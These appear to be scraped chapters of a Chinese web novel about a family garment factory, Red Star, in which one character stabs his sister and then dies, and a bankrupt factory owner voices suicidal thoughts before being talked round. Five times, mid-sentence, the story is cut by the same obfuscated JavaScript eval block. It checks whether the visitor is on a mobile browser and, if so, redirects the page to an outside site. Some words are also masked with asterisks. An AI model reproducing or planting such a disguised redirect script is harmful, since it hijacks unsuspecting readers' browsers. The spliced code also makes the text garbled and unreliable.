“为了感谢宗先生,之河大学将在10月16日为他举办一个奖学金捐赠仪式,和他捐赠的实验楼落成揭牌仪式一起进行。宗先生已经定好行程,会亲自参加捐赠落成仪式。”Cythnia说。 罗璇反应很快:“之河离罗桑县只有2小时车程。” “没错。”Cythnia的声音平静,“所以宗先生的秘书通知我,他会在结束捐赠仪式后,亲自参观供应商红星厂。你要好好接待宗先生。” 罗璇起初不敢相信。 其次,才是惊慌混杂着激动——宗先生为什么会来这种小地方?! 她哪里还会像从前那样天真。如今的她,恨不得牢牢抓紧宗先生。 这是她的机会! “宗先生的订单,你做得怎么样了。”Cythnia问。 罗璇浑身发烫,她很想抓住这次机会,语焉不详:“订单做得怎么样,你是最清楚的。” Cythnia嗤笑:“什么都没有,对吧。” 顿了顿,Cythnia说:“我已经帮你解决了你妈。这下,你没有任何借口了。” 罗璇激动的心渐渐冷下来。拜林招娣所赐,她没厂、没地、没生产线,自从同学跟她拆伙以后,大大小小的供应商见了她像见了鬼,要么绕开,要么无视。 就算现在和Cythnia联手让林招娣亏了一大笔钱,可时间还是太短。 进度为0。 “别忘了,你我之间也有协议。”Cythnia轻飘飘地说,“如果因为你这边的篓子,影响了我的生产,一赔五。” 又是一赔五。 “我明白。”罗璇抬头看向那块牌子,“不会影响到你,你放心。” 距离落成仪式倒数10天。 10天啊。 要彻底掌控红星厂…… “放心,来得及。”罗璇咬牙。 …… 之河大学咖啡厅,张东尧做东,请罗璇喝了杯校庆咖啡。 所谓的校庆咖啡,就是在咖啡上用奶泡画了个之河大学的logo。 罗璇摇头:“之河大学,我可考不上。张东尧,谢谢你,托你的福,我也喝上之河大学的咖啡了。” 张东尧穿着一件雪白的衬衫,坐得笔直,微笑道:“尽地主之谊。” 罗璇这次来,是帮祝胜男的忙,替她一个客户的孩子向张东尧咨询考研情况,而张东尧很体贴地提起一个文件袋:“我已把全部需要的材料整理好。” 他把文件袋递给罗璇。 罗璇急忙道:“这太麻烦你了,找时间请你吃饭。” “好啊。”张东尧点头,“上次去的农家乐就很不错,在红星厂旁边。” 那是娇姐的农家乐。 “那家倒闭了。”罗璇垂眼翻开考研资料。 “说起来。”张东尧闲闲地问,“我可以去红星厂做田野吗。” 罗璇点头:“可以啊,找个时间。” “明天?” “这阵子都不行。”罗璇缓缓摇头,“要等到10号以后。” “我要亲自和你妈妈说一声?” 罗璇的唇角露出一丝意味不明的微笑:“不必。” 张东尧点头:“行,交给你了。” 两人正说着,旁边一桌的议论声传过来:“——然后邱教授就说,林国栋,可是你的组诗,已经发表了呀。怎么会有退稿信呢?” 罗璇放下咖啡杯,转过头去。 隔壁是一桌上了年纪的校友,正齐齐摇头叹息:“不知道中间发生了什么误会。要是能找到赵豆豆就好了。” “林国栋也在找赵豆豆。他想问她,当年究竟发生了什么。” 隔壁桌校友拿了咖啡,打包走人,只剩罗璇和张东尧对坐。 两人迟迟没说话。 张东尧沉默地打量着罗璇。 他看着她从怀里掏出一张发黄的信纸,难以置信地盯着看了一会,又把信纸揣进怀里,心不在焉地喝了几口咖啡,掏出手机,开始发短信。 几分钟后,她把手机放在桌上,端起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275263|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咖啡,看着窗外,一口一口喝完。 张东尧什么都没问。 他端起咖啡,一饮而尽,把杯子放在桌面:“我带你逛逛学校。” 他用的是陈述句。 …… “这里就是路桥专业的教学楼。”张东尧指给罗璇看。 路桥专业的教学楼前面,摆着巨大的“欢迎校友回家”展板,罗璇走近了,端详上面的签名,在里面看到“林国栋”三个字。 “我带你进去看看。”张东尧说。 两人走进教学楼,进门处就摆着一张台子,台子上摆着校友签到簿,和校友联系方式。 “你自己先随便转转,我打个电话。”张东尧适时道。 罗璇急忙说:“你忙你的,我自己看看。” 张东尧转身离开。 大厅里一个人都没有。 手机亮起,傅军发来自己的初中校名:“赵老师现在还在这里,当校长了——不愧是赵老师啊。” 罗璇按熄手机屏幕。 她翻开校友联系方式簿,很快就找到赵豆豆的名字。 旋即,在赵豆豆名字后面的空白处,写下了她执教的初中校名。 …… 赵豆豆走出初中校门的时候,微拢碎发,另一只手拿着手机,正和教研院通电话。 她长着一张很有主见的脸。个子不高,但脊背笔直。 “校长再见。” “校长明天见。” 赵豆豆向年轻教师们颔首致意。 刚走出校门没几句,一个痛苦的声音响起,这道声音干涩地擦着喉咙:“豆豆。” 赵豆豆茫然地看过去。 林国栋伸起手来,挥了挥。赵豆豆注视着他的脸,许久以后,才试探着:“……林国栋?” 林国栋走上前,低头看着她。 “豆豆,你一点都没变。” 赵豆豆脊背笔直,瞟了眼手机时间,然后抬眼看着林国栋:“几十年了。怎么突然想起来找我?” 林国栋看着她。喉咙里发出咕噜咕噜的响声。 赵豆豆又瞟了眼时间,语气毋庸置疑:“国栋,你没提前约时间,我现在没空,有一些比较重要的教研工作要回家处理。不如我们明天再见。” 不像是商量,更像是通知。 林国栋张了张嘴,想说什么,又犹豫着没说。 赵豆豆性格强悍,说一不二。和赵豆豆在一起的时候,他向来听赵豆豆的话。 但这次是个例外。 “不会占用你太多时间,豆豆。”林国栋恳求,“我只问你几句话。” 赵豆豆下意识皱眉训他:“国栋,这么多年过去了,你怎么还像个小孩子一样?” 话一出口,两人都是一愣,旋即都笑了起来。 “你一点都没变。”两人异口同声。 赵豆豆又看了眼时间,指挥林国栋:“你开车。我知道附近有家星巴克,我们去那里。” 第144章 惊变&凶险 赵豆豆看着林国栋把一本泛黄的刊物摆在自己面前。 “这是什么。”她皱眉问。 “我的诗。”林国栋轻轻翻开那本刊物,而赵豆豆面色骤变。 她猛地抬头看向林国栋,但林国栋没看她。林国栋熟练地戴上老花镜,低着头,专心致志地找到那首诗,然后指给赵豆豆看。 他抬起头:“我的诗。” 赵豆豆沉默半晌:“你说你要问我话。你要问什么呢。” 林国栋垂眼:“当年我的诗,其实发表了。” 赵豆豆沉默。 林国栋看着赵豆豆:“我还是那个‘诗人’,我们能重新在一起吗?” …… 赵豆豆满脸震惊地站起身:“你疯了林国栋,多少年了!” “我没疯。多少年了。”林国栋平静地打断她,“我这几十年的人生,原来是一场错误,我要修正这个错误。豆豆,和我在一起。” “人生哪有错不错的?”赵豆豆大声说,“我的人生过得很好,我有家庭,有事业,有孩子,我的孩子就快结婚了,而你,你究竟在说什么胡话?我为什么要和你在一起?你为什么要不请自来,随意打乱我的生活节奏?” 赵豆豆站起身,转身就走。 林国栋追上去,死死抓住赵豆豆的胳膊:“豆豆!豆豆!”他突然哭泣,“我们重新开始!我的人生必须重新开始!你帮帮我!你救救我!” 赵豆豆吓了一跳,而林国栋伸手去抱她。 拉扯间,赵豆豆的胳膊刮掉了白色陶瓷杯,啪啦一声,碎屑溅得满地都是,四下狼藉。 众人侧目。 赵豆豆看着那已经打碎的杯子,转过身,狠狠地推开林国栋。 “我救不了你。”赵豆豆崩溃地说,“林国栋,这么多年了,你别再指望我了,成吗?你想要什么,就自己去争取,别让我替你去争去抢,成吗?你自己的人生,自己过,成吗?别像蚂蟥一样扒在我身上吸血,成吗?” 林国栋浑身发抖,说不出话。而赵豆豆深吸一口气:“当年把退稿信拿给你的,就是我。是我找了人伪造这封退稿信。你心里很清楚。” “你有你的苦衷。”林国栋的声音异常沙哑,“是我姐逼你的。” “我是自愿的。”赵豆豆的声音出奇的冷静,“我家里穷,我爸妈不给我交学费。大一的时候和你谈恋爱,你带我去红星厂玩,我心事重重,你没看出来,你姐看出来了,她资助了我大学几年的学费。” 林国栋张大了嘴:“你为什么不说?我怎么不知道?” 赵豆豆说:“你姐资助我,条件是,我要让你心甘情愿地去红星厂帮她。” “我也可以资助你!”林国栋抬高声音。 “你的学费,还是你姐掏的。”赵豆豆无情地说,“而且,你对我的感情,哪有那么深?” 林国栋睁大眼睛:“你说我对你感情不深?大学四年,我姐始终反对你我交往,是我一直在坚持!赵豆豆,我真的打定了主意娶你,如果不是你离开了我!” 赵豆豆平静地说:“因为你姐了解你。越是她反对的,你才越会坚持。如果不是她反对,我们早分手了。大二那年,你爱慕文学社团的学姐,公开为她写情诗。那会我怕极了,我问你姐,如果你甩了我,她还能继续资助我吗,你姐说,只要我能读明白,读研读博她都资助。因为她自己没机会读。” 林国栋喃喃道:“所以,是我姐想办法让你和我在一起。所以,连你的爱也……所以,我这辈子……我这辈子。”他颓然坐下,彷徨地抬头看着赵豆豆。 “我姐控制我。”他痛苦地说,“你也骗我。” “林国栋,是我对不起你。”赵豆豆干脆地说,“但人这辈子,就是会对不起很多人的。” 她转身离开。 …… “人这辈子,就是会对不起很多人的。”林招娣面上的皱纹冷厉而深刻。 夜很暗,纺织村在乡下,十月的风从遥远的野地里吹过来,凉彻骨髓。 林招娣的衣服穿少了,缩着脖子,站在红星厂厂房外。 寒风吹过,她抱紧自己的双臂,深吸一口烟,抬头吐出一股淡淡的烟雾。 她看着盘旋上升的烟雾。 没人能在红星厂里抽烟,哪怕林招娣自己也不行。 这座钢筋水泥的大家伙,粗粝的,强悍的,稳重的,由她亲手创造,由她艰难养育。她塞了很多个人进去,才把红星厂一口一口喂养成现在的样子。 红星厂,只有红星厂,才是和她真正生命相连的女儿。 林招娣站在红星厂前面,吸着烟,身形巍峨厚重,如一座山。 吸完烟,林招娣用力把烟头碾熄,转身回到办公室。 她对着帐,面孔上的皱纹更深了。 红星厂的资金链彻底断了。 账上的全部现金拿去借给老宋,本以为可以和老赵联手,从股权开始蚕食,一步步吞掉老宋的厂子,没想到螳螂捕蝉、黄雀在后。 反被老赵和老宋联起手来,抽了筋。 林招娣站起身,转了一圈。红星厂欠着三百万外债,而老豹之所以能容她喘口气慢慢还,就是因为知道红星厂还能赚钱。 一旦被人知道红星厂现金流断了,只怕老豹明天一早就要打上门来,直接把自家房子车子机器全拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275264|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。 这件事情瞒不了多久。 如果老宋和老赵的目标是抢夺红星厂,那么,林招娣不认为老宋和老赵会替她隐瞒。 …… 林招娣这辈子经历过很多凶险,而这次,这大概是她人生中最凶险的时刻。 面对人生中最凶险的事情—— 林招娣稳稳地坐在椅子上,第一个举动,就是从抽屉里掏出早已冷透的饭盒。 抽出筷子,一口一口吃饭。 她吃饭很香,饭量很大。每顿饭都要吃肉,要吃鱼,要吃青菜,要吃米。 要吃饱,要吃得干干净净。 她吃了很久,终于打了个长长的、响亮的饱嗝。 “问题不大。”林招娣咬着牙说。 她掏出手机,看着打给林国栋的107个未接来电,再次按下拨出键。 …… 和热闹的县里不同,纺织村的夜晚异常安静。 渐渐的,远处传来车子的声音。 车子由远及近,停在厂房外面,旋即,大门被敲响。 “林经理回来了。”工人笑着,“这么斯斯文文的敲门声,一听就是林经理。” 林招娣听着斯文短促的敲门声,不轻不重,忍不住咧嘴笑了。 从前,林招娣总是抱怨,林国栋做生意不灵光、不开窍,而罗文彬总说,林国栋斯文清秀,不像她弟弟,倒像是他弟弟。 但林招娣看得清楚,哪怕做过小学语文教师的罗文彬自诩文化人,也比真正的大学生林国栋差远了。 林国栋和这红星厂里的人都不一样。或者说,林国栋其实和这村子里的人,和这镇子上的人,全都不一样。 林国栋做生意平庸了大半辈子,可却是个真正有文学才华的人。这样有才华的人,小地方显不出的,一定要往上飞。他一旦去到之河市,去到更大的城市,很快就会飞出去,越飞越高,再也不会回来。 但林国栋哪都没去。 林招娣想着,听着工人开门的声音。林国栋道谢的声音。脚步声一路传到自己办公室门口。然后办公室门被轻轻敲响。 工人踢踢踏踏走远了。 墙上挂的电子表突然响起:“准点报时,北京时间,11点整。” 林招娣站起身,前去开门。 …… “大姐。”林国栋站在门口。 他的声音很平静,一如既往。身上只穿一件衬衫,浑身都是寒气。 但他的脸很红,眼睛很亮。 “钱准备好了?”林招娣急切地站起身,迎上前去。 林国栋走进办公室,门自动关上。 他从怀里掏出一把刀. 用力地、深深地**林招娣的身体。 第145章 林招娣的要求 罗璇正在洗澡,放在外面的电话尖锐地响起来。 “是兰姨。”罗珏大声喊。 “帮我接一下,就说我在洗澡。”罗璇高声喊。 罗珏拿起手机:“没接到,电话挂断了。” 罗璇擦身子:“哦,那等我出去。” 两人在罗桑县租了房子,此刻住在一起。罗珏刚洗完头发,湿漉漉的黑发还在滴水。她盘腿坐在床上,对着电脑投简历。 “有工作机会吗。”罗璇问。 “……没有。”罗珏苦笑。 她拒绝合规签字,试图把审计组隐瞒的真相告诉工人,这会,大概小圈子里已经传遍了。 这个世道,没人禁得住查。所以她这种不懂变通、不知道装傻、不会闭嘴的人,活活一个定时**。 她没有被拒绝。 她只是被默契地孤立。 手机再次尖锐地响起来,罗珏放下电脑,伸手接了。 几分钟后。 “二妹,快去红星厂!”罗珏跳到地下,“快去开车!” 罗璇从浴室里推门走出,很平静地说: “急什么,就算红星厂资金链断了,也不是我半夜过去就能解决的。” 她慢吞吞地吹头发。 罗珏一把夺过她的吹风筒。 “出大事了。”罗珏的面色苍白,“是舅舅。” “林国栋脑梗了。” …… 车子风驰电掣开进纺织村,红星厂的大门早就敞开。兰姨绷紧面孔站在大门口,罗璇刚从车上跳下来,她就用力抓住罗璇的手,压低声音:“你跟我来!” 红星厂内一片安静。 “工人都在宿舍里睡觉。”兰姨的语气很重。 罗璇和罗珏跟着兰姨往厂房里走,越走越觉得奇怪。没有声音,也没有开灯。 为什么不开灯?还是刻意没有开灯? “我舅中风了,那我妈呢?”罗璇忍不住问。 兰姨推开厂长办公室,门自动关上。 她这才毫不犹豫地反手打开灯。 霎那间大放光明,罗璇和罗珏先是被刺得闭目半晌,旋即睁开眼,旋即睁大双眼,旋即嘴巴也跟着张大,再张大。 血!血! 罗璇用力捂住嘴,她听见自己喉头难以抑制的声音溢出来: “不,不,我不是……” 我本不想…… 我不是…… 不。 我是。 不,我是。 罗璇用力地喘气,像一尾濒死的鱼。 血。 满地都是脏污凝固的血,棕的黑的乱七八糟一片,像一把利刃,狠狠刺入罗璇眼中。 …… 林招娣痛得喘气,但她硬是咬着牙,强撑着没晕,也没吭声。兰姨蹲在她身边。用力攥紧她的手腕。 林国栋一刀扎进林招娣的肚子,这刀又深又狠。林招娣摔在地下,这才注意到,林国栋的眼睛锃亮,和刀尖一样闪着疯狂的光。 一切发生得太快,而林国栋显然什么都不打算说。不打算解释。不打算问。他只想杀了如山的大姐。因为这座山保护了他,也困住了他。 林国栋弯下腰,高高举起刀。他的面孔因为用力而扭曲,他的眼睛不自然地向外凸出,太阳穴向外鼓起,刀尖的反光照亮他满脸激动的潮红。刀尖有她的血,红色的,落在他额角根根涨起的青筋上,绿色的。 红色与绿色交错的瞬间,林国栋用尽浑身的力气,双手握紧尖刀,垂直向下扎,或许是太用力,太恨,太绝望,电光火石之间,他忽然摔倒在地。 红色的血从绿色的青筋上流下来,落在灰色的水泥地。 青筋瘪了下去。 …… 林招娣的大脑空白了很久,忽然回过神,艰难地滚了半边身体,看过去,刚好对上林国栋的眼睛。 林国栋双目圆睁,瞳孔已经散了。 林招娣伸出手,用力摸索着,摸索着,终于抓到了手机。 “兰。”她艰难地一字一句,“别让工人出宿舍。你把全厂的灯关了。来我办公室。不要开灯。” …… “兰姨,我妈妈差点**死,是你救了我妈妈。”罗璇一直在哭。 兰姨抱着她:“我和你妈多少年的感情。当年我男人揍得我身上没一块好肉,扬言谁敢帮我就杀了谁,是你妈提着把**吓退了他,把我带来罗桑县,就跟她睡一张床,等你妈认识了你爸,我俩接了笔罗桑厂的单子,站稳了脚跟,日子才好过起来。” 医院里,一切都是明亮而冰冷的。 罗璇始终在哭,无论如何都没有停下。 她抱紧兰姨,而兰姨缓慢地拍打着她的后背。 整夜就这样过去了。 清晨,医生喊:“林招娣的家属,林招娣的家属呢?” 罗璇和罗珏走上前去,罗璇的眼睛已经肿得不像话。 罗珏问:“我妈什么情况。” “你妈好得很,还嚷嚷着饿。人能吃就没事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275265|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”医生说。 两姐妹松了口气。 医生指了指她俩:“你们两个,谁是罗璇。” 罗璇指了指自己。 医生说:“你妈急着见你。” 罗璇非常意外。 “你妈多喜欢你。”医生感叹,“你简直是她的精神支柱。” …… 罗璇走进病房。 林招娣的身上缠着厚厚的纱布,面孔和嘴唇都白里透青。 见到罗璇,她眼睛亮了。 罗璇走上前,坐在病床前。 “二妹。”林招娣用力说。她的声音很微弱。 罗璇的眼泪又直直地流下来。她不断地用手去抹:“妈,妈……” “好了,别喊,我好得很,死不了。”林招娣说。 罗璇用力压抑自己的抽泣。 林招娣转过头,看着罗璇。 “你帮我做一件事。”林招娣说。 “什么事。”罗璇问。 “查一下残疾人补助怎么领。”林招娣皱眉深思,“你舅舅那样子,养好了也得是个瘫子。我记得雇佣残疾人的企业,国家是有补贴的吧?红星厂也可以领一下……” “妈。”罗璇打断她。 “舅舅**。”她轻声说。 …… “我弟**?”林招娣难以置信地问,“他不就扎了我一刀吗?我什么事都没有,他就这么**?我甚至没打算追究他,他——” 罗璇沉默。 林招娣看着天花板。 良久,她颤抖着声音开口:“就这么点事?” 她沉重地喘息。 “之前逼迫你,是我不好。”林招娣居然对罗璇说,“你原谅我。” 罗璇的眼泪又落下来。 从小到大,她从未哭得这么伤心、这么厉害过。 她在哭什么?哭死去的舅舅?哭受伤的妈妈?哭那些随风而逝的东西?还是哭她和她妈妈的关系,哭她自己? “红星厂还欠着三百万外债。你舅舅没了,而我已经这样。”林招娣说,“如果我**,红星厂就是你们姐妹三个的。要保住红星厂。” 罗璇用手背重重抹掉眼泪。 林招娣说:“二妹,我们自家人统一战线。你帮我还红星厂150万债务,我把红星厂分你50%。” “你觉得怎样?” ——你帮我还150万债务。 罗璇捂住脸,泪水从手指缝里流下。 “好的。” 她呜咽着说。 “妈妈。” 第146章 你真孝顺&抓住机会 林招娣的伤不算重,但也不算轻。 罗璇从Cythnia到祝胜男,把所有能动用的关系都动用了个遍,终于帮林招娣转了院,转到上海。 林招娣并不想去:“我还得盯着红星厂。” 这下子,连医生都劝她:“孩子的一片孝心,县医院毕竟条件有限,上海医疗条件好,你去上海养病,能少遭罪,而且好得也快。” 林招娣立刻问:“能快几天?” 医生“啧”了声:“反正好得快。” “好得快”三个字,才让林招娣勉强松口:“行。” 罗璇亲自把林招娣护送到上海,帮她办了入院手续,盯着她住进单人病房。 她请了个身体健康强壮的女护工,千叮咛万嘱咐,还强调:“看着点我妈,少让她用手机,她已经流了太多血,禁不住再耗气血了。她做生意的,心思重。” 说着,她额外掏出两张百元大钞,放进护工手里:“预发的奖金。你把我妈照顾好了,我再给你发一笔奖金。” “我会时不时给我妈发短信打电话问情况。”罗璇补充,“要是我妈立刻回复了,就扣你奖金哦。” 护工立刻说:“没问题,我保证把你妈照顾好。” “罗小姐,你真孝顺啊。” …… 病房外,罗璇问护士:“医院应该不会让病人睡太晚吧?” 护士说:“不会的,医院都是统一作息。” 罗璇说:“我妈是生意人,最近遇到些挫折,心思重。麻烦您查房的时候,多看看我妈,尤其别让她熬夜。” 护士说:“不会让病人熬夜的。” 下午,罗璇送来一大捧“花”,只不过,美丽的透明玻璃纸,包得不是真花,而是一根一根的蓝黑色中性笔。额外还送了两大盒蓝黑色中性笔。 “等我妈出院那天,我再送你一面锦旗。”罗璇告诉护士。 护士很高兴:“你放心,你妈肯定能养好身体的。” “罗小姐,你真孝顺啊。” …… 罗璇独自返回罗桑县。 她默默听着电台。 “……中国经济面临着国际金融危机的严峻挑战,出口大幅下滑,企业面临经营困难,就业压力增大等问题。” “……为了应对经济下行压力,稳定经济增长,中国政府开始调整宏观经济政策取向,货币政策从之前的‘从紧’逐步向‘适度宽松’转变。” “今天是2008年10月8日,央行宣布下调存贷款基准利率0.27个百分点,这是央行在9月中旬开启降息通道后的第二次降息。” “在不到100天的时间里,央行连续降息5次。降息是为了降低企业的融资成本。通过降低贷款利率,企业能够以更低的成本获得资金,有利于企业扩大生产、进行技术改造和创新等,提高企业的竞争力和盈利能力……” 正听着,Cythnia的电话打过来,罗璇伸手关闭电台。 Cythnia提醒:“宗先生10月16号要去视察红星厂。” 罗璇说:“我记得。” Cythnia干脆道:“你记得就好。” 顿了顿,罗璇说:“央行降息呢。你那边有没有银行的朋友,我想去了解一下,申请企业贷款。” “你想什么好事。”Cythnia不以为然,“就算银行贷款,也优先批给大企业,轮不到你。” 那可不一定。 罗璇心底盘算着,等宗先生一视察完毕,她就立刻买通稿,把红星厂包装成未来之星。 银行也是要完成业绩的,银行也要看前景的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275266|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗先生都认可她,她怎么不能靠着宗先生的名气,狐假虎威? 如果不抓住宗先生来视察的机会—— 银行贷款,都是贷给企业,放给一方大鳄,吃屎都不可能轮得到她! 别提她了,就看看罗桑县,有哪个能拿到银行贷款?服装纺织产业集群的名头说出去响当当,结果里面大片大片的小厂子,个个都得去借**。 罗璇看着窗外飞速掠后的绿色,心里有如火烧。 …… 晚上回到家,罗璇倒在床上。 家里出事的这些天,她始终用理性压抑着自己的情绪。如今终于能躺下来休息——她看着刷成雪白天花板。 以往顺目的白色,如今看来却洁净得那么虚伪、那么僵硬。 或许在这个世界,纯白无暇本身就是个伪概念。 罗璇瘫在床上,盯着白色的天花板看。她的眼前出现了双影,渐渐的,雪白变得脏污,层层红色渐次染开,最后变成血腥的一整片。 罗璇翻了个身,滚在床边,抱着垃圾篓难以遏制地呕吐起来。 在医院穿过的衣服全都丢掉了,包括陪床的睡衣。罗璇去楼下市场里买睡衣,看到几件鲜红的网球裙样衣挂在外面清货,5块钱一条。 罗璇从来都不是会选择穿鲜红色的人。 但罗璇拿起其中一条。 结账的时候。罗璇注视着刺目的红色,心里想的却是,这样的颜色,就算血溅上去,应该也看不大出来。 回家以后,她用力把目之所及的所有白衣服白裙子卷作一团,匆忙丢进垃圾桶。 洗都没洗,罗璇就把鲜红的网球裙套在身上。闻着样衣聚酯纤维面料混着灰尘的味道,罗璇的心渐渐获得一种奇异的安定。 她穿着这条红裙子睡着了。 第147章 我给你个人&坏事变好事 没睡多久,罗璇的手机响了,号码来自广州。 接通,对面是沙园的老板娘。 “这么晚打扰,实在是有个问题想请教您。”老板娘非常客气。 罗璇眯着眼看了下时间:凌晨4点10分。 这个时间…… 罗璇感觉自己的声音里带着怨气:“太见外了,您更值得我学习。” 说完,她伸手按掉电话,翻了个身,继续睡。 电话又响起来。 沙园的老板娘依旧非常客气地在电话对面说:“虽然比您年长很多,但依旧忍不住想请教您。” 罗璇又看了眼时间。 凌晨4点40。 这个时间! 罗璇伸手就要按掉电话,老板娘在对面说:“因为我感觉我扛不过去这一关。” 睡意从脑子里瞬间消散,罗璇一下子听懂了老板娘的意思,拇指从挂断键上移开。 “您怎么了?”她问。 “不瞒您说,我现在一无所有。”老板娘苦笑,“本来说把沙园的货清了搬回新塘的厂去,结果经济不好,新塘的厂有好几个大客户彻底破产了,四百多万的货款收不回来,这下一堆供应商的债都没法结清,有仲裁,有官司。借出去的钱也收不回来。” 罗璇伸手扯开窗帘。 窗外黑漆漆的,很遥远的夜空,有一颗模糊的、黯淡的星星。 “沙园和新塘的厂不都是你老公在管吗?”罗璇问,“你当时选的是第二条路,不去做厂长,而是把家里的财权拿到手。” “我老公卷了账面上所有现金,跑了。”老板娘平静地说。 罗璇彻底醒了。 “你现在在哪。” “在广州。找了个宾馆住着。我爸妈怕我以后赖在娘家,每天和我吵,我就出来了。小孩放在我爸妈的厂里,让弟媳帮我照顾一下。” “来罗桑县考察一下,如何。”罗璇很果断地说,“出来散散心。” “说实话,我扛不住,想一了百了。”老板娘很客气地说,“但我一定得谢谢你,提前警告过我。可悲,人过半生,只有你真心待我。” 罗璇惊得大力拍开灯,透过窗户的倒影,她看见自己身上鲜红的网球裙:“你**不要紧,你小孩怎么办?” 老板娘轻轻地、长长地叹出一口气。 “人这辈子。”她凄然道,“活着累,死又不能死。” “能活着,哪怕活得像条狗,都比**强。”罗璇斩钉截铁地说,“天塌不下来!我这边给你的单子还在,你的机器设备还在,你爸妈厂里的版师还在,供应商渠道也还在,你怕什么?只是欠钱,又不是杀了人,只要机器开着就有钱,钱会慢慢回来的!” “咱们行业走下坡路啦。我家厂里的机器,97年买的时候一台三万二,还是借钱买的,好不容易才还掉机器债。沙园清货的时候,想把机器卖些回点现金流,一问,一台新机只卖一万八,二手机器只能卖到一万三。我想这是雪灾地震的影响,等奥运后总能涨一些的,结果等到现在,经济不好,二手机器降到七千。真要卖,估计6500一台。” 罗璇说:“那就没必要缩减规模。” 老板娘叹了口气。 “服装纺织的利润越来越低了,过去毛利5分钱一梭、30梭织的布,做一米赚1块5,现在一米布只赚5**。而且这十年,钱也更不值钱了。” “我总想着勤劳致富,但就是我的前半生。”老板娘说。 “天塌不下来!”罗璇依旧斩钉截铁,“解决不掉的问题,你不用想太多。你先硬着头皮把机器开起来。” “一张机器每天最多做出20多块钱的毛利。可我外面是四百万的债。” “你说反了。应该是:外面四百万的债,可你一张机器每天能做出20多块钱的毛利。” 老板娘不语。 “所以你有主动找渠道、供应商、银行他们沟通吗?”罗璇问。 老板娘说:“小罗总,我得撑着面子,不然别人扑上来,要咬死我的。” “你撑面子,是为了什么?”罗璇直言不讳,“我没见你用昔日的风光出去四处借钱,或者拉业务啊。” “你太要脸了。”罗璇的语气很重。 老板娘沉默。 “你只是在逃避问题。”罗璇注视着窗外露出的一线天光,“就算事情发生了,然后呢?你羞愧,逃避,然后被催收,被社死,被威胁,被恐吓,抑郁惊恐……可你想想,我说的这些,都是精神上的,真的对身体造成了任何实质性伤害吗?” “没有。”老板娘小声说。 “那其实就无事发生。”罗璇说,“只有活下来才是真的。就算很难活得好,也得先活下来。活着就是很苦的。你不经历这些苦,也要经历那些苦。” 老板娘说:“那我怎么做?” “主动去找渠道、供应商、银行他们沟通好,给他们一个期限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275267|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,告诉他们,你现在手上有项目,债务问题能在3年之间处理好。” “3年之内处理不好呢?” “无商不奸,你先活下去。3年之后,又3年。他们会愿意支持你爬起来的。” “支持我?他们为什么会支持我呢?我只是一个家庭妇女。” “因为你老公跑了,只剩你了。你欠他们的钱,你们就是利益共同体,不支持你,他们的钱就彻底打水漂了!他们没必要咬你,毕竟你的机器也不值钱,不如支持你把生意做下去,只要有现金流水,就有钱,他们就能通过借你钱捞好处。你有你的价值。” 老板娘沉默了很久很久,突然长长地“奥”了声:“所以,现在反而是他们需要我?” 罗璇“嗯”了声。 老板娘不安道:“我老公跑了,我根本管不住那些工人,现在就剩小麻雀还算听我的话。” 罗璇低头,看着自己身上鲜红的裙子。 “我有办法。”她慢慢地说,“我给你一个厉害的人。” …… 听完罗璇的话,老板娘久久沉默。 “小罗总,谢谢你。”老板娘郑重地说,“我明白了。这是我的机会。” 